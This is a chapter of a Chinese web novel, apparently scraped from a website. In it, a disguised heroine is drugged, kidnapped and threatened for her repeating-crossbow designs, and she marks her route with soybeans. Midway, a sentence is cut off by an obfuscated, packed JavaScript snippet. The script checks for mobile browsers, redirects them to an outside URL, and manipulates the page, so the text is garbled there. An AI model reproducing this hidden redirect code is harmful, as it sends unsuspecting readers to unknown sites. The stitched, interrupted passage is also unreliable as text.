容鹿鸣笑着答道:“家中遭了变故,被歹人所伤,幸得王爷收留。”
大娘格外认真地将容鹿鸣看了又看,“郎君生得如此俊俏,不想,也是个苦命之人。”她心中油然起了怜悯之心,“你就在这里跟着我晾晒菜蔬吧,比‘鲊房’里的活儿轻省些。”
“来,你看,上层的茭白晾得差不多了。”大娘踮脚自上层的簸箕里抽出一条切好的茭白,外皮浅黄,内里乳白,因晾过一些时候,外表有些微微皱缩,散发出一种带点水汽和花香的特殊香味儿。
“会做鲊菜?”大娘问她。
容鹿鸣摇头。
“咱们这儿的鲊菜比别处好吃得多,一是菜蔬晾晒之后再入坛,吃起来更清甜。二是所用调料,皆是秘传。”
容鹿鸣听罢,抬手,要使力帮大娘将上层的大簸箕端下来。
“不用不用。”大娘引她转到晒架后面,示意她搬动晒架侧边的手柄。
只听“咔啦、咔啦”几声,真巧妙!手柄触动杠杆,晒架的上下两层借此轻松一换。不消用一点力量。
杠杆、不费力……容鹿鸣脑中突然出奇地静下来,先前不甚完善的连弩结构在她脑中清晰浮现。她曾在古书残卷之中读到过关于连弩的一星内容。简图早已遗失,唯余只言片语。她一直不太懂,此刻,竟是懂了。
她在脑中慢慢地完成了一次弩机的触发,仔细揣摩、感知、触摸,每一个零件的联动。
不需制图。
她把这晒架上的杠杆装置印入脑中,缩小,再缩小、修改形状、改变力量的传动方向……嵌入自己的连弩之上。
大娘见她呆立在晒架前,立了半天,突然,大笑出声。
“怎么了?”
“没事,大娘”,容鹿鸣夺过大娘手中的大木盆,“太阳大,我来晒这些菜蔬,您去房檐底下歇会儿。大娘,这晒架是谁做的?”
“是咱们靖王爷制的图,叫军械坊的工匠做的呐。”
容鹿鸣一条条、一块块,将盆中切好的菜蔬铺于簸箕之上,心中澄净若雨过天晴。
紧束的心神散了开来,她留意着四周,她等的人怎么还不出现?她都把自己这个“饵”明目张胆地放到这儿了。
夕阳西下。大娘给她盛的那碗杂蔬鲊可真好吃,菜蔬刚刚腌上,还不大咸,鲜脆可口,还带着种欢快的清甜。她一口气吃了大半碗。
接过大娘递来的茶,端在手中,容鹿鸣觉得周围过于安静。茶盏中溢出一丝古怪的气味,不是源于这粗茶。
她一闻便知这是什么。于是端起茶盏,饮了一口。听到大娘倒地的声音,她也就势歪倒在地。
傍晚,宇文靖摇着紫檀骨、青绿山水面儿的折扇,来“鲊房”寻容鹿鸣,与急着朝外跑的容小虎撞了个满怀。
“萧四!”
“靖王恕罪”,容小虎深施一礼,四下看看,然后往前一步,低声对宇文靖道:“靖王,萧二不见了。”
见他神色肃然,宇文靖猜到这事非比寻常,将他拉进一旁的储藏室,“你细说,怎么回事?”
容小虎把这几日有人日日窥探“三厅”,以及那人偷听之时,容鹿鸣假称见过连□□之事说了出来。
宇文靖面色冷了,“这里不许人提‘连弩’,你们是如何得知的?”
“回禀王爷,先前有回在“一厅”,听人私下说过一次。”
“姑且信你,可察觉事有异样,缘何不立刻来报?”
“二郎说,自古疏不间亲,我们毕竟是外人,没有真凭实据,不好贸然向靖王告发。”
宇文靖神色稍缓。“那你说,萧二会去哪儿?”
“昨夜,二郎同小人商量,那偷听之人绝不会轻易罢手,不如把他引出来,看他究竟想做什么。后厨这边人事繁杂,大约方便其动手,我们便朝郭副掌事说了几句,趁机来到此处。”
宇文靖心下一惊,他确实想以此二人为“饵”,钓出军械坊中的内鬼,却不曾想,“饵”心里也清楚。
“你是说,萧二可能被他们带走了?”
“二郎曾与我约定,若生变故,定会留下标记。靖王稍后,我去查探一番。”
厚重的木门开了又关,霞光一线,明了又灭。宇文靖与蓝英又站在黑暗之中了。储藏室里放满了粗陶坛子,鲊菜正在发酵。封着坛口的一汪浅水里,不时冒出几个气泡,发出轻微的声响。淡淡的酸咸气味悄然弥漫。
宇文靖觉得蓝英同自己一样,也察觉到这兄弟二人的不同寻常之处。
虽由于心中关切,显出了点匆促,可他们也太镇定了些:察觉异样、制定计划、应对策略……他们的敏锐、默契、熟练、无畏,绝非仅仅是在老家的赌坊中对付过几个恶徒。即便是在自己的亲兵之中,这样的人也不多。
“一会儿,你带几个人,若有意外,保护好他们。这两人,大概不是普通人。”宇文靖低声对蓝英说。
“是。”
不消片刻,容小虎回到储藏室,展开紧握的右拳,手心里,是一颗豆子。
黄豆。
宇文靖捻起来看了看。这不是普通的黄豆,作为秘制八宝酱的原料之一,它们都经过了极特殊的烹制,外形有变,容易辨认。
“二郎应是用此做了标记,从‘鲊房’到一旁的东侧角门,均可看见,角门外的路面上也有……
捆住手脚,脑袋被套上黑布袋,容鹿鸣被人抗上一辆马车。
迷药下得很重,他们以为她断然醒不过来。
他们不会知道,几乎所有的迷药都对她无效。她还特意问过容雅歌缘由,容雅歌也不清楚,只能推测说,因她小时候身体不好,府里天天给她炖补药,宫里也赐下不少,大约是那些极精贵的药材混在一起,产生了什么奇特的效果,使她百毒不侵。
居过山野,旅过四境。她见识过不少迷药,太熟悉它们的味道。
假装晕厥时,她顺手抓了把身后晾晒的“秘制黄豆”,大娘同她说,一般人家做不出这种。以此做标记,再合适不过。
这是辆简陋的马车,行得速度很快,把她颠簸得有些难受。
虽然被布袋套住了头,她依旧可以分辨出大致路线。气味不会骗人。连带靖王府、军械坊在内的大半个雍城,都记在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148029|171898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她脑中,鲜活如一副烫样。
四合香——军械坊西侧的玉器店常年焚四合,径直,是牡丹香——胭脂铺,路口,另一架马车的骡马打着响鼻,往东拐,李记糕饼铺,玫瑰豆沙很香。欢闹声、菜色辛辣、歌姬反弹琵琶——路过玉香楼,朝南边飞驰而去。
劣质檀香、干燥木料的气味、锡蜡纸马的怪味儿、刨刀的声音……
容鹿鸣立刻知道自己在哪儿了,城南的棺材铺。城南只有这一家棺材铺——郭记棺材铺。马车绕了路,此地离军械坊并不多远。
手心中的豆子还剩几颗,她顺着马车的缝隙都丢了一颗——有水声,这里是棺材铺后门。
这些豆子泡过酒,骡马是不吃的。容小虎一向机灵,应当很快能找到她。
容鹿鸣被人抗下车,不是刚刚绑她的人,此人肩背粗壮,是个练家子。
往棺材铺里一径走,穿过香烛气味、木材气味、浆糊与黄表纸的气味……蓦地,鼻端嗅到苔藓的气息,他们似是进入一个密闭空间,她闻到浓重的霉味儿。
手中仅剩的数颗豆子逐一滑落。若不标记,她担心容小虎寻她不到。
这小小的棺材铺,内里,竟秘藏暗室。
在周围人看来,郭记棺材铺毫不起眼。若不是后门处的小河清兮婉兮,若美人流眄,又少有人至,引得她与容小虎时来散步,她也不会留意到这处小铺。
那人把容鹿鸣扔到地上,还好,地上铺了稻草。两人力量悬殊,她看上去如同被他制住的雀鸟。
无人说话。
只听得脚步声和行动时布料摩擦的声音。
无需言语。密室中还有另外一人。这绝不是普通的土匪,他们训练有素,经验老道。
他们进来时穿过一扇小门,门未关,从那个方向能嗅到一丝流动的风。
突然,风的味道变了,变成稠郁的腥气!
有个人端着重物从门那边快步走来,猛得,停在她身前,“哗”的一声,把什么温热的东西泼了她一身。
是血!
容鹿鸣太熟悉这气味和触感——来自刚刚死去的、鲜活的身体。抑制不住地,她颤抖起来。
“哈。”一声轻笑,响在弥漫的血腥味中,诡异极了。
有人扯去了套在她头上的黑布袋。
面前是两个陌生男人,一壮,一瘦。
泼在她身上的鲜血渐渐冷却,涩在她皮肤上。她抖得更厉害。
“哈。”又是一声轻笑,来自那个瘦削的男人。他一身白衣,右手拎着个殷红的布包。
烛火昏暗,猜不出他包里装的什么。
那个高壮的男人蹲到容鹿鸣身前,左手在她浸血的衣襟上一抹,然后置于鼻端,如品香茗般细细闻着,接着,把手上的血抹在了她脸上。
“这么年轻又纤细,怪不得怕血。”见容鹿鸣颤抖着,他脸上掠过轻微的痉挛,之后,是愉悦。
“如果你听话的话,我们要的只是连□□。你在这里画给我们。不用怕宇文靖,我们会把你送出雍城,保你富贵无虞。当然,如果你不听话,你的血,便要流在这儿。”